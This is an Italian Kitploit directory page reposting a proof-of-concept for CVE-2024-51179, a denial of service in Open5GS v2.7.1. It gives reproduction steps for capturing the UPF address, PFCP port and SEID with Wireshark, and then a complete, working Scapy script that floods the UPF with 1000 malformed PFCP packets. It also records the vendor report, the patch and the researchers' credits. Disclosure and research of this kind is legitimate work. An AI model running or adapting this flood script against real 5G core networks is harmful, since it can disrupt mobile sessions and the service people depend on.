Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-51179 — Exploit proof-of-concept per CVE-2024-51179: l'inondazione di pacchetti PFCP appositamente creati causa un denial of service in Open5GS UPF/SMF, interrompendo l'instaurazione delle sessioni PDU del core 5G. | Kitploit
Strumenti/GitHubGitHub/lakshmirnr/cve-2024-51179
Sniffing e Analisi dei PacchettiAnalisi delle VulnerabilitàExploitSicurezza di RetePenetration Testing
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Exploit proof-of-concept per CVE-2024-51179: l'inondazione di pacchetti PFCP appositamente creati causa un denial of service in Open5GS UPF/SMF, interrompendo l'instaurazione delle sessioni PDU del core 5G.

Vedi Repository
4251 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-51179 : L'inondazione di pacchetti manipolati da un attaccante può far crashare UPF/SMF in Open5gs

Descrizione della vulnerabilità

Descrizione: Un problema in Open5GS v.2.7.1 consente a un attaccante remoto di causare un denial of service attraverso le Virtualizzazioni delle Funzioni di Rete (NFV), come la User Plane Function (UPF) e la Session Management Function (SMF). Il processo di stabilimento della sessione Packet Data Unit (PDU) è influenzato dai crash che si verificano all'interno delle NFV.

Un attaccante, dopo aver ottenuto l'indirizzo IP della User Plane Function (UPF), la porta PFCP e il SEID (Session Endpoint Identifier), può creare e inondare di pacchetti PFCP (Packet Forwarding Control Protocol) dannosi la UPF. I parametri necessari possono essere intercettati usando strumenti come Wireshark se l'attaccante ha accesso al traffico del piano utente.

Tipo di vulnerabilità: Denial of Service

Impatto: All'invio del pacchetto dannoso, la UPF diventa errata, influenzando la creazione di nuove sessioni PDU. Inoltre, la SMF (Session Management Function) è influenzata a causa dell'inondazione di pacchetti PFCP dannosi, interrompendo le funzioni del Core.

PASSI PER RIPRODURRE L'ATTACCO

Prerequisiti: La rete core 5G è stata configurata utilizzando Open5GS come rete core e UERANSIM come strumento di emulazione per la gNB (Next Generation NodeB) e l'UE (User Equipment).

PASSI PER ESEGUIRE L'ATTACCO

  1. Assicurati che Open5GS sia in esecuzione controllando lo stato dei componenti di Open5GS (AMF, SMF, UPF, ecc.)
  2. Verifica la creazione di una sessione PDU utilizzando UERANSIM per avviare una sessione PDU e catturare il traffico con Wireshark.
  3. Apri Wireshark e seleziona l'interfaccia di rete utilizzata per il piano utente.
  4. Avvia la cattura del traffico con un filtro di visualizzazione per i pacchetti PFCP:
  5. Avvia una sessione PDU da UERANSIM per assicurarti che i pacchetti PFCP siano visibili nella cattura.
  6. In Wireshark, trova e annota l'indirizzo IP della UPF, la porta UPF (di solito 8805) e il SEID dai pacchetti PFCP catturati.
  7. Usa il seguente script per inondare la UPF con i pacchetti.
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. Monitora l'impatto sulla rete usando Wireshark o controlla i log per osservare eventuali anomalie o fallimenti nell'elaborazione dei pacchetti.
  2. Prova a creare nuove sessioni PDU da UERANSIM per vedere se la creazione fallisce a causa dell'inondazione.

STATO DELLA SMF DOPO L'ATTACCO

smfcurrent

CATTURA WIRESHARK DEL PACCHETTO DANNOSO

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

STATO ATTUALE

La vulnerabilità, documentata come Issue #3497 sulla pagina GitHub di Open5GS (https://github.com/open5gs/open5gs/issues/3497), è stata segnalata al venditore di Open5GS, che ha identificato la causa principale come un problema di deallocazione della memoria che porta a crash di sistema. Una patch è stata applicata e il codice è stato aggiornato per risolvere il problema. Puoi visualizzare il codice aggiornato qui.

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179 è stata pubblicata.

CREDITI

DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)

Scarica lo strumento